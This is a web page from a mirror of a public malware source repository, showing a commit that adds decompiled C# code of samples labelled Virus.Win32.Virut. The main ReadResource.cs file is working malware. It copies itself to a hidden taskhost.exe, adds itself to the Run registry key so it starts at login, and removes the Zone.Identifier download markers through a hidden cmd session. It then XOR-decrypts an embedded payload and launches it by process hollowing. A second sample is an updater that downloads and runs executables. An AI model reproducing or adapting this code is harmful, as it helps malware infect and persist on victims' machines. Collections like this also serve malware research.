daniel/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2026-06-16 15:59:24 +00:00
Code Issues Projects Releases Wiki Activity

auto-decompiled msil via petikvx

Browse Source 
add
This commit is contained in:
vxunderground
2022-08-18 06:28:56 -05:00
parent 26192f771b
commit f2ac1ece55
12767 changed files with 1945075 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/AssemblyInfo.cs
+3
View File
@@ -0,0 +1,3 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]
MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/ReadResource.cs
+119
View File
@@ -0,0 +1,119 @@
// Decompiled with JetBrains decompiler
// Type: smss.ReadResource
// Assembly: smss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 9DAAF14C-A13E-4FB1-BFB2-3533F8F506E6
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace smss
{
[StandardModule]
internal sealed class ReadResource
{
private static object _tPath = (object) (Environment.GetEnvironmentVariable("windir") + "\\temp\\taskhost.exe");
private static object _proc = (object) Process.GetCurrentProcess().MainModule.ModuleName;
public static void Startup()
{
try
{
if (!File.Exists(Conversions.ToString(ReadResource._tPath)))
File.Copy(Conversions.ToString(ReadResource._proc), Conversions.ToString(ReadResource._tPath), true);
File.SetAttributes(Conversions.ToString(ReadResource._tPath), File.GetAttributes(Conversions.ToString(ReadResource._tPath)) | FileAttributes.Hidden);
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (registryKey == null || registryKey.GetValue(Conversions.ToString(ReadResource._tPath)) != null)
return;
registryKey.SetValue(Conversions.ToString(ReadResource._tPath), RuntimeHelpers.GetObjectValue(ReadResource._tPath));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
public static void DisableSecurity()
{
try
{
Process process = new Process();
ProcessStartInfo processStartInfo1 = new ProcessStartInfo();
ProcessStartInfo processStartInfo2 = processStartInfo1;
processStartInfo2.FileName = "cmd";
processStartInfo2.RedirectStandardInput = true;
processStartInfo2.RedirectStandardOutput = true;
processStartInfo2.UseShellExecute = false;
processStartInfo2.CreateNoWindow = true;
process.StartInfo = processStartInfo1;
process.Start();
using (StreamReader standardOutput = process.StandardOutput)
{
using (StreamWriter standardInput = process.StandardInput)
{
standardInput.WriteLine(Conversions.ToString(Operators.ConcatenateObject((object) "cd ", ReadResource._tPath)), (object) AppWinStyle.Hide);
standardInput.WriteLine(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "FOR /R %I IN (*", ReadResource._proc), (object) "*) DO > %I:Zone.Identifier ECHO.")), (object) AppWinStyle.Hide);
standardInput.WriteLine("exit");
standardInput.Close();
}
standardOutput.Close();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType);
[DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr LoadResource(IntPtr hModule, IntPtr fr);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int SizeofResource(IntPtr hModule, IntPtr fr);
[STAThread]
public static void Main()
{
ReadResource.DisableSecurity();
ReadResource.Startup();
try
{
string moduleName = Process.GetCurrentProcess().MainModule.ModuleName;
IntPtr moduleHandle = ReadResource.GetModuleHandle(ref moduleName);
IntPtr resource = ReadResource.FindResource(moduleHandle, "0", "RT_RCDATA");
IntPtr source = ReadResource.LoadResource(moduleHandle, resource);
int length = ReadResource.SizeofResource(moduleHandle, resource);
byte[] numArray = new byte[length - 1 + 1 - 1 + 1];
Marshal.Copy(source, numArray, 0, length);
int int32_1 = BitConverter.ToInt32(numArray, Convert.ToInt32(numArray.Length - 4));
byte[] data = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[numArray.Length - 3 + 1 - 1 + 1]);
Random random = new Random(int32_1);
byte[] buffer = new byte[data.Length - 1 + 1 - 1 + 1];
random.NextBytes(buffer);
int int32_2 = Convert.ToInt32(data.Length - 1);
for (int index = 0; index <= int32_2; ++index)
data[index] = Convert.ToByte((byte) ((int) data[index] ^ (int) buffer[index]));
RunpeClass.RunpeSub(data, Conversions.ToString(ReadResource._proc));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/RunpeClass.cs
+1215
View File
File diff suppressed because it is too large Load Diff
MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/Virus.Win32.Virut.ac.csproj
+42
View File
@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>smss</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
<RootNamespace>smss</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="ReadResource.cs" />
<Compile Include="RunpeClass.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/Virus.Win32.Virut.ac.sln
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "smss", "Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd.csproj", "{1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/AppFile.cs
+129
View File
@@ -0,0 +1,129 @@
// Decompiled with JetBrains decompiler
// Type: Toya.Upgrade.AppFile
// Assembly: Toya.Upgrade, Version=1.0.0.0, Culture=neutral, PublicKeyToken=17364d3304d11368
// MVID: 0375251D-E018-4B03-B16E-A2B257E37C3F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.exe
using System;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
namespace Toya.Upgrade
{
public class AppFile
{
private static string filePath = Application.StartupPath + "\\Toya.ini";
private static StringBuilder sbAdjustINIValues = new StringBuilder(2048);
private static StringBuilder sbTemp = new StringBuilder(2048);
private static string[] AdjustINIValues;
private static string[] INIValues;
private static int Count = 28;
private static int index = 0;
private static string temp;
[DllImport("kernel32")]
private static extern long WritePrivateProfileString(
string section,
string key,
string val,
string filePath);
[DllImport("kernel32")]
private static extern int GetPrivateProfileString(
string section,
string key,
string def,
StringBuilder retVal,
int size,
string filePath);
public static long Write(string section, string key, string val) => AppFile.WritePrivateProfileString(section, key, val, AppFile.filePath);
public static string Read(
string section,
string key,
string def,
StringBuilder retVal,
int size)
{
AppFile.GetPrivateProfileString(section, key, def, AppFile.sbTemp, size, AppFile.filePath);
return AppFile.sbTemp.ToString();
}
public static string Read(string section, string key, int size)
{
AppFile.GetPrivateProfileString(section, key, "无法读取对应数值", AppFile.sbTemp, size, AppFile.filePath);
return AppFile.sbTemp.ToString();
}
public static string Read(string section, string key, string def, int size)
{
AppFile.GetPrivateProfileString(section, key, def, AppFile.sbTemp, size, AppFile.filePath);
return AppFile.sbTemp.ToString();
}
public static void AdjustINIValue(string section, string key, string val) => AppFile.AdjustINIValue(section, key, val, AppFile.filePath);
private static void AdjustINIValue(string section, string key, string val, string filePath)
{
try
{
if (val.Trim() == "")
return;
AppFile.GetPrivateProfileString(section, key, "", AppFile.sbAdjustINIValues, 2048, filePath);
AppFile.INIValues = AppFile.sbAdjustINIValues.ToString().Split('\\');
AppFile.AdjustINIValues = val.Trim().Split(' ');
foreach (string adjustIniValue in AppFile.AdjustINIValues)
{
if (adjustIniValue != "")
{
AppFile.index = -1;
for (int index = 0; index < AppFile.INIValues.Length; ++index)
{
if (adjustIniValue == AppFile.INIValues[index])
{
AppFile.index = index;
break;
}
}
if (AppFile.index == -1 && AppFile.INIValues.Length < AppFile.Count)
{
AppFile.INIValues = (string[]) AppFile.Redim((Array) AppFile.INIValues, AppFile.INIValues.Length + 1);
AppFile.INIValues[AppFile.INIValues.Length - 1] = adjustIniValue;
}
if (AppFile.index > 0 && AppFile.index < AppFile.INIValues.Length)
{
AppFile.temp = AppFile.INIValues[AppFile.index - 1];
AppFile.INIValues[AppFile.index - 1] = adjustIniValue;
AppFile.INIValues[AppFile.index] = AppFile.temp;
}
if (AppFile.index == -1 && AppFile.INIValues.Length >= AppFile.Count)
AppFile.INIValues[AppFile.INIValues.Length - 2] = adjustIniValue;
}
}
AppFile.sbAdjustINIValues.Remove(0, AppFile.sbAdjustINIValues.Length);
foreach (string iniValue in AppFile.INIValues)
{
if (iniValue != "")
{
AppFile.sbAdjustINIValues.Append(iniValue);
AppFile.sbAdjustINIValues.Append("\\");
}
}
AppFile.WritePrivateProfileString(section, key, AppFile.sbAdjustINIValues.ToString(), filePath);
}
catch (Exception ex)
{
throw ex;
}
}
private static Array Redim(Array origArray, int desiredSize)
{
Array instance = Array.CreateInstance(origArray.GetType().GetElementType(), desiredSize);
Array.Copy(origArray, 0, instance, 0, Math.Min(origArray.Length, desiredSize));
return instance;
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/AssemblyInfo.cs
+14
View File
@@ -0,0 +1,14 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyTitle("Toya.Upgrade")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyProduct("Toya.Upgrade")]
[assembly: AssemblyCopyright("Copyright © 2009")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("9d9973d3-0f0b-41ab-b6bf-84a87a51d3fa")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]
MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/FrmMain.cs
+286
View File
@@ -0,0 +1,286 @@
// Decompiled with JetBrains decompiler
// Type: Toya.Upgrade.FrmMain
// Assembly: Toya.Upgrade, Version=1.0.0.0, Culture=neutral, PublicKeyToken=17364d3304d11368
// MVID: 0375251D-E018-4B03-B16E-A2B257E37C3F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.exe
using ICSharpCode.SharpZipLib.Zip;
using System;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Net;
using System.Threading;
using System.Windows.Forms;
namespace Toya.Upgrade
{
public class FrmMain : Form
{
private IContainer components;
private Label label1;
private Label label2;
private Label lblStatus;
private Label lblSpeed;
private Label lblMessage;
private ProgressBar progressBarControlDownload;
private Thread ThreadDown;
private bool IsDownFile = true;
private string StrFileName;
private string StrUrl;
private bool ReTransfers;
private string FileName = string.Empty;
private string Caption;
private string UpdateUrl;
private string[] args;
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FrmMain));
this.label1 = new Label();
this.label2 = new Label();
this.lblStatus = new Label();
this.lblSpeed = new Label();
this.lblMessage = new Label();
this.progressBarControlDownload = new ProgressBar();
this.SuspendLayout();
this.label1.AutoSize = true;
this.label1.Location = new Point(2, 20);
this.label1.Name = "label1";
this.label1.Size = new Size(89, 12);
this.label1.TabIndex = 7;
this.label1.Text = "下载文件状态：";
this.label2.AutoSize = true;
this.label2.Location = new Point(2, 44);
this.label2.Name = "label2";
this.label2.Size = new Size(89, 12);
this.label2.TabIndex = 8;
this.label2.Text = "下载文件速率：";
this.lblStatus.AutoSize = true;
this.lblStatus.Location = new Point(86, 20);
this.lblStatus.Name = "lblStatus";
this.lblStatus.Size = new Size(113, 12);
this.lblStatus.TabIndex = 9;
this.lblStatus.Text = "正在初始化下载……";
this.lblSpeed.AutoSize = true;
this.lblSpeed.Location = new Point(86, 44);
this.lblSpeed.Name = "lblSpeed";
this.lblSpeed.Size = new Size(41, 12);
this.lblSpeed.TabIndex = 10;
this.lblSpeed.Text = "0KB/秒";
this.lblMessage.ForeColor = Color.Red;
this.lblMessage.Location = new Point(12, 107);
this.lblMessage.Name = "lblMessage";
this.lblMessage.Size = new Size(532, 21);
this.lblMessage.TabIndex = 11;
this.progressBarControlDownload.Location = new Point(5, 71);
this.progressBarControlDownload.Name = "progressBarControlDownload";
this.progressBarControlDownload.Size = new Size(539, 23);
this.progressBarControlDownload.TabIndex = 12;
this.AutoScaleDimensions = new SizeF(6f, 12f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(556, 137);
this.Controls.Add((Control) this.progressBarControlDownload);
this.Controls.Add((Control) this.lblMessage);
this.Controls.Add((Control) this.lblSpeed);
this.Controls.Add((Control) this.lblStatus);
this.Controls.Add((Control) this.label2);
this.Controls.Add((Control) this.label1);
this.FormBorderStyle = FormBorderStyle.FixedDialog;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = nameof (FrmMain);
this.ShowInTaskbar = false;
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = "通亚物流软件在线升级系统V3.5";
this.TopMost = true;
this.Load += new EventHandler(this.FrmMain_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
public static string CompanyCode
{
get
{
string companyCode = string.Empty;
if (companyCode == string.Empty)
{
companyCode = ConfigurationManager.AppSettings[nameof (CompanyCode)];
if (string.IsNullOrEmpty(companyCode))
companyCode = "";
}
return companyCode;
}
}
public FrmMain() => this.InitializeComponent();
public FrmMain(string[] args)
{
this.InitializeComponent();
this.args = args;
}
private void FrmMain_Load(object sender, EventArgs e)
{
if (this.args.Length == 0)
{
int num = (int) MessageBox.Show("升级程序启动失败", "提示", MessageBoxButtons.OK, MessageBoxIcon.Hand);
Application.Exit();
}
this.UpdateUrl = AppFile.Read("UpgrateConfig", "UpdateUrl", " http://www.youlm.com/Upgrade", 32);
this.Caption = AppFile.Read("UpgrateConfig", "UpdateText", "通亚物流软件在线升级系统V3.5", 32);
this.Text = this.Caption;
this.FileName = "/Toya.Upgrade." + FrmMain.CompanyCode + ".zip";
this.Upgrade();
}
private void Upgrade()
{
this.ReTransfers = true;
this.StrUrl = this.UpdateUrl + this.FileName;
if (System.IO.File.Exists(Application.StartupPath + this.FileName))
{
System.IO.File.Delete(Application.StartupPath + this.FileName);
System.IO.File.Delete(Application.StartupPath + "/Toya.Upgrade.Dos.exe");
}
this.StrFileName = Application.StartupPath + this.FileName;
this.ThreadDown = new Thread(new ThreadStart(this.DownFile));
this.ThreadDown.Start();
}
private void SetStatusText(string value) => this.lblStatus.Text = value;
private void SetSpeedText(string value) => this.lblSpeed.Text = value;
private void SetMessageText(string value) => this.lblMessage.Text = value;
private void progressBarControlDownloadValue(int value) => this.progressBarControlDownload.Value = value;
private void progressBarControlDownloadMaximum(int value) => this.progressBarControlDownload.Maximum = value;
private void DownFile()
{
long num = 0;
FileStream fileStream;
if (this.ReTransfers & System.IO.File.Exists(this.StrFileName))
{
fileStream = new FileStream(this.StrFileName, FileMode.Open, FileAccess.ReadWrite);
num = fileStream.Length;
fileStream.Seek(num, SeekOrigin.Current);
}
else
fileStream = new FileStream(this.StrFileName, FileMode.Create, FileAccess.Write);
try
{
this.lblStatus.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetStatusText), (object) "读取远程文件大小...");
HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create(this.StrUrl);
if (num > 0L)
httpWebRequest.AddRange((int) num);
Stream responseStream = httpWebRequest.GetResponse().GetResponseStream();
this.progressBarControlDownload.BeginInvoke((Delegate) new FrmMain.ChangeInt(this.progressBarControlDownloadMaximum), (object) (int) httpWebRequest.GetResponse().ContentLength);
this.lblStatus.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetStatusText), (object) "正在下载数据....");
byte[] buffer = new byte[204800];
DateTime now = DateTime.Now;
int count;
while ((count = responseStream.Read(buffer, 0, buffer.Length)) > 0)
{
fileStream.Write(buffer, 0, count);
num += (long) count;
TimeSpan timeSpan = DateTime.Now - now;
this.lblSpeed.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetSpeedText), (object) string.Format("{0}KB/秒", (object) (int) ((double) num / timeSpan.TotalSeconds / 1024.0)));
this.progressBarControlDownload.BeginInvoke((Delegate) new FrmMain.ChangeInt(this.progressBarControlDownloadValue), (object) (int) num);
if (!this.IsDownFile)
break;
}
fileStream.Close();
responseStream.Close();
this.lblStatus.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetStatusText), (object) "文件下载完毕!");
this.lblStatus.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetStatusText), (object) "正在解压软件包和更新!");
Thread.Sleep(5000);
if (!this.UnZIP())
return;
AppFile.Write("system", "VersionMain", this.args[0]);
if (System.IO.File.Exists(Application.StartupPath + "/Toya.Upgrade.Dos.exe"))
new Process()
{
StartInfo = {
FileName = "Toya.Upgrade.Dos.exe",
UseShellExecute = true
}
}.Start();
new Process()
{
StartInfo = {
FileName = "Toya.exe",
UseShellExecute = true
}
}.Start();
Application.Exit();
}
catch (Exception ex)
{
fileStream.Close();
this.lblStatus.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetStatusText), (object) ("下载出错，" + ex.Message));
}
}
private bool UnZIP()
{
try
{
using (ZipInputStream zipInputStream = new ZipInputStream((Stream) System.IO.File.OpenRead(Application.StartupPath + this.FileName)))
{
label_13:
ZipEntry nextEntry;
while ((nextEntry = zipInputStream.GetNextEntry()) != null)
{
string directoryName = Path.GetDirectoryName(nextEntry.Name);
string fileName = Path.GetFileName(nextEntry.Name);
if (directoryName.Length > 0)
Directory.CreateDirectory(directoryName);
if (fileName != string.Empty)
{
using (FileStream fileStream = System.IO.File.Create(nextEntry.Name))
{
byte[] buffer = new byte[2048];
while (true)
{
int count = ((Stream) zipInputStream).Read(buffer, 0, buffer.Length);
if (count > 0)
fileStream.Write(buffer, 0, count);
else
goto label_13;
}
}
}
}
}
return true;
}
catch (Exception ex)
{
int num = (int) MessageBox.Show(ex.Message);
this.lblMessage.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetMessageText), (object) "升级出现错误，请关闭通亚物流软件，然后尝试从新升级。");
return false;
}
}
private void btnUpgrade_Click(object sender, EventArgs e) => this.Upgrade();
private delegate void ChangeInt(int value);
private delegate void ChangeString(string value);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/FrmMain.resx
+123
View File
File diff suppressed because one or more lines are too long
MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Program.cs
+22
View File
@@ -0,0 +1,22 @@
// Decompiled with JetBrains decompiler
// Type: Toya.Upgrade.Program
// Assembly: Toya.Upgrade, Version=1.0.0.0, Culture=neutral, PublicKeyToken=17364d3304d11368
// MVID: 0375251D-E018-4B03-B16E-A2B257E37C3F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.exe
using System;
using System.Windows.Forms;
namespace Toya.Upgrade
{
internal static class Program
{
[STAThread]
private static void Main(string[] args)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run((Form) new FrmMain(args));
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Resources.cs
+46
View File
@@ -0,0 +1,46 @@
// Decompiled with JetBrains decompiler
// Type: Toya.Upgrade.Properties.Resources
// Assembly: Toya.Upgrade, Version=1.0.0.0, Culture=neutral, PublicKeyToken=17364d3304d11368
// MVID: 0375251D-E018-4B03-B16E-A2B257E37C3F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.exe
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace Toya.Upgrade.Properties
{
[DebuggerNonUserCode]
[CompilerGenerated]
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
internal class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
internal Resources()
{
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (Toya.Upgrade.Properties.Resources.resourceMan == null)
Toya.Upgrade.Properties.Resources.resourceMan = new ResourceManager("Toya.Upgrade.Properties.Resources", typeof (Toya.Upgrade.Properties.Resources).Assembly);
return Toya.Upgrade.Properties.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => Toya.Upgrade.Properties.Resources.resourceCulture;
set => Toya.Upgrade.Properties.Resources.resourceCulture = value;
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Resources.resx
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Settings.cs
+21
View File
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: Toya.Upgrade.Properties.Settings
